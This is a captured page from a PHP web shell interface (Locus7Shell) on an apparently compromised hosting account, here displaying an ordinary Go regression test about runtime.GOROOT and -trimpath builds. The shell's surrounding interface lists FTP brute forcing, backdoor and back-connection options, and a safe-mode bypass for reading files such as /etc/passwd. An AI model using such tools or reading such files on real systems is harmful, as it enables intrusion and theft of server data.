Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/go/src/cmd/go/testdata/script/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     build_trimpath_goroot.txt (2.95 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
# Regression test for https://go.dev/issue/51461 and https://go.dev/issue/51483.
#
# When built with -trimpath, runtime.GOROOT() returned the bogus string "go"
# if GOROOT was not set explicitly in the environment.
# It should instead return the empty string, since we know that we don't
# have a valid path to return.
#
# TODO(#51483): when runtime.GOROOT() returns the empty string,
# go/build should default to 'go env GOROOT' instead.

env GOROOT_FINAL=

[trimpath] env GOROOT=
[trimpath] ! go env GOROOT
[trimpath] stderr '^go: cannot find GOROOT directory: ''go'' binary is trimmed and GOROOT is not set$'
[trimpath] env GOROOT=$TESTGO_GOROOT

[short] stop

# With GOROOT still set but GOROOT_FINAL unset, 'go build' and 'go test -c'
# should cause runtime.GOROOT() to report either the correct GOROOT
# (without -trimpath) or no GOROOT at all (with -trimpath).

go build -o example.exe .
go build -trimpath -o example-trimpath.exe .
go test -c -o example.test.exe .
go test -trimpath -c -o example.test-trimpath.exe .

env GOROOT=

exec ./example.exe
stdout '^GOROOT '$TESTGO_GOROOT'$'
stdout '^runtime '$TESTGO_GOROOT${/}src${/}runtime'$'

! exec ./example-trimpath.exe
stdout '^GOROOT $'
stderr 'cannot find package "runtime" in any of:\n\t\(\$GOROOT not set\)\n\t'$WORK${/}gopath${/}src${/}runtime' \(from \$GOPATH\)\n\z'

exec ./example.test.exe -test.v
stdout '^GOROOT '$TESTGO_GOROOT'$'
stdout '^runtime '$TESTGO_GOROOT${/}src${/}runtime'$'

! exec ./example.test-trimpath.exe -test.v
stdout '^GOROOT $'
stderr 'cannot find package "runtime" in any of:\n\t\(\$GOROOT not set\)\n\t'$WORK${/}gopath${/}src${/}runtime' \(from \$GOPATH\)$'

# If a correct GOROOT is baked in to the 'go' command itself, 'go run' and
# 'go test' should not implicitly set GOROOT in the process environment
# (because that could mask an unexpected production dependency on the GOROOT
# environment variable), but 'go generate' should (because the generator may
# reasonably expect to be able to locate the GOROOT for which it is generating
# code).

[trimpath] stop
[mismatched-goroot] stop

! go run -trimpath .
stdout '^GOROOT $'
stderr 'cannot find package "runtime" in any of:\n\t\(\$GOROOT not set\)\n\t'$WORK${/}gopath${/}src${/}runtime' \(from \$GOPATH\)\nexit status 1\n\z'

! go test -trimpath -v .
stdout '^GOROOT $'
stdout 'cannot find package "runtime" in any of:\n\t\(\$GOROOT not set\)\n\t'$WORK${/}gopath${/}src${/}runtime' \(from \$GOPATH\)$'

env GOFLAGS=-trimpath
go generate .
stdout '^GOROOT '$TESTGO_GOROOT'$'
stdout '^runtime '$TESTGO_GOROOT${/}src${/}runtime'$'

-- go.mod --
module example

go 1.19
-- main.go --
package main

//go:generate go run .

import (
	"fmt"
	"go/build"
	"os"
	"runtime"
)

func main() {
	fmt.Println("GOROOT", runtime.GOROOT())

	p, err := build.Default.Import("runtime", "", build.FindOnly)
	if err != nil {
		fmt.Fprintln(os.Stderr, err)
		os.Exit(1)
	}
	fmt.Println("runtime", p.Dir)
}
-- main_test.go --
package main

import "testing"

func TestMain(*testing.M) {
	main()
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0062 ]--